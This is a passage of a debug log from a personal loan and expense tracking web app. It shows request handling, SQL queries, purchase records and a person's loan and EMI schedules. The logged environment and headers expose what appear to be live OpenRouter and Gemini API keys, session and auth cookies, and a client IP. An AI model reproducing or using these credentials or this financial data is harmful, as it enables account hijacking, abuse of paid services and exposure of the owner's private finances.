      item_name: 'Frozon Matar',
      unit: 'Packet'
    },
    {
      invoice_number: 12862,
      quantity: '375.00',
      purchase_date: '2026-07-25T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '150.00',
      item_name: 'Paneer',
      unit: 'GM'
    },
    {
      invoice_number: 12863,
      quantity: '2.00',
      purchase_date: '2026-07-25T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '320.00',
      item_name: 'Godfather Beer',
      unit: 'CAN'
    },
    {
      invoice_number: 12864,
      quantity: '1.00',
      purchase_date: '2026-07-25T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '25.00',
      item_name: 'Ice Cubes',
      unit: 'Packet'
    },
    {
      invoice_number: 12853,
      quantity: '100.00',
      purchase_date: '2026-07-24T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '56.00',
      item_name: 'Paneer',
      unit: 'GM'
    },
    {
      invoice_number: 12854,
      quantity: '1.00',
      purchase_date: '2026-07-24T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '250.00',
      item_name: 'Petrol',
      unit: 'Other'
    },
    {
      invoice_number: 12856,
      quantity: '1.00',
      purchase_date: '2026-07-24T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '300.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 12857,
      quantity: '4.00',
      purchase_date: '2026-07-24T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '100.00',
      item_name: 'Pyaz',
      unit: 'KG'
    },
    {
      invoice_number: 12858,
      quantity: '1.00',
      purchase_date: '2026-07-24T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Sabo Dana',
      unit: 'Packet'
    }
  ]
}
2026-07-30T08:53:13.953Z server-connect:router Serving templateView /emis
2026-07-30T08:53:13.953Z server-connect:app Executing action step identify
2026-07-30T08:53:13.953Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:13.953Z server-connect:output identity: 14
2026-07-30T08:53:13.953Z server-connect:app Executing action step restrict
2026-07-30T08:53:13.953Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:13.954Z server-connect:output restrict: undefined
2026-07-30T08:53:13.954Z server-connect:router Render template emis
2026-07-30T08:53:13.954Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:14.171Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-07-30T08:53:14.171Z server-connect:app Executing action step identify
2026-07-30T08:53:14.171Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:14.171Z server-connect:output identity: 14
2026-07-30T08:53:14.172Z server-connect:app Executing action step restrict
2026-07-30T08:53:14.172Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:14.172Z server-connect:output restrict: undefined
2026-07-30T08:53:14.174Z server-connect:app Executing action step custom
2026-07-30T08:53:14.174Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-07-30T08:53:14.180Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '10',
    total_remaining_amount: 150140,
    total_paid_amount: 750700,
    percentage_paid: '83.33'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '7',
    total_remaining_amount: 154217,
    total_paid_amount: 903271,
    percentage_paid: '85.42'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '2',
    total_remaining_amount: 10672,
    total_paid_amount: 181424,
    percentage_paid: '94.44'
  },
  {
    id: 25,
    loan_name: 'Gaming CPU',
    starting_date: 2026-04-02T18:30:00.000Z,
    ending_date: 2028-04-04T18:30:00.000Z,
    principle_amount: 54221,
    no_of_emi: 24,
    interest_amount: 2000,
    loan_type: 'Personal Loan',
    loan_provider: 'Cred App',
    due_date: '5th',
    emi_amount: 2674,
    total_emi: 24,
    total_pending_emi: '20',
    total_remaining_amount: 53480,
    total_paid_amount: 10696,
    percentage_paid: '16.67'
  },
  {
    id: 26,
    loan_name: 'Bike Loan',
    starting_date: 2026-03-04T18:30:00.000Z,
    ending_date: 2029-03-04T18:30:00.000Z,
    principle_amount: 94499,
    no_of_emi: 36,
    interest_amount: 0,
    loan_type: '2 Wheeler Loan',
    loan_provider: 'HDFC Bank',
    due_date: '5th',
    emi_amount: 3369,
    total_emi: 36,
    total_pending_emi: '31',
    total_remaining_amount: 104439,
    total_paid_amount: 16845,
    percentage_paid: '13.89'
  },
  {
    id: 27,
    loan_name: 'IND Money',
    starting_date: 2023-08-25T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 0,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '1',
    total_remaining_amount: 5336,
    total_paid_amount: 186760,
    percentage_paid: '97.22'
  },
  {
    id: 28,
    loan_name: 'School Fees',
    starting_date: 2026-03-04T18:30:00.000Z,
    ending_date: 2026-12-04T18:30:00.000Z,
    principle_amount: 53000,
    no_of_emi: 9,
    interest_amount: 0,
    loan_type: 'Education Loan',
    loan_provider: 'Gray Quest',
    due_date: '5th',
    emi_amount: 5889,
    total_emi: 9,
    total_pending_emi: '5',
    total_remaining_amount: 29445,
    total_paid_amount: 23556,
    percentage_paid: '44.44'
  },
  {
    id: 29,
    loan_name: 'SMFG',
    starting_date: 2026-03-04T18:30:00.000Z,
    ending_date: 2031-03-04T18:30:00.000Z,
    principle_amount: 1000000,
    no_of_emi: 60,
    interest_amount: 0,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 22754,
    total_emi: 60,
    total_pending_emi: '56',
    total_remaining_amount: 1274224,
    total_paid_amount: 91016,
    percentage_paid: '6.67'
  }
]
2026-07-30T08:53:20.099Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-07-30T08:53:20.101Z server-connect:app Executing action step identify
2026-07-30T08:53:20.101Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:20.102Z server-connect:output identity: 14
2026-07-30T08:53:20.102Z server-connect:app Executing action step restrict
2026-07-30T08:53:20.102Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:20.102Z server-connect:output restrict: undefined
2026-07-30T08:53:20.102Z server-connect:app Executing action step select
2026-07-30T08:53:20.102Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-07-30T08:53:20.105Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: '2026-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: '2026-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-07-30T08:53:23.403Z server-connect:router Serving templateView /credit-cards
2026-07-30T08:53:23.404Z server-connect:app Executing action step identify
2026-07-30T08:53:23.404Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:23.404Z server-connect:output identity: 14
2026-07-30T08:53:23.404Z server-connect:app Executing action step restrict
2026-07-30T08:53:23.404Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:23.404Z server-connect:output restrict: undefined
2026-07-30T08:53:23.404Z server-connect:router Render template credit-cards
2026-07-30T08:53:23.405Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/credit-cards',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/credit-cards',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
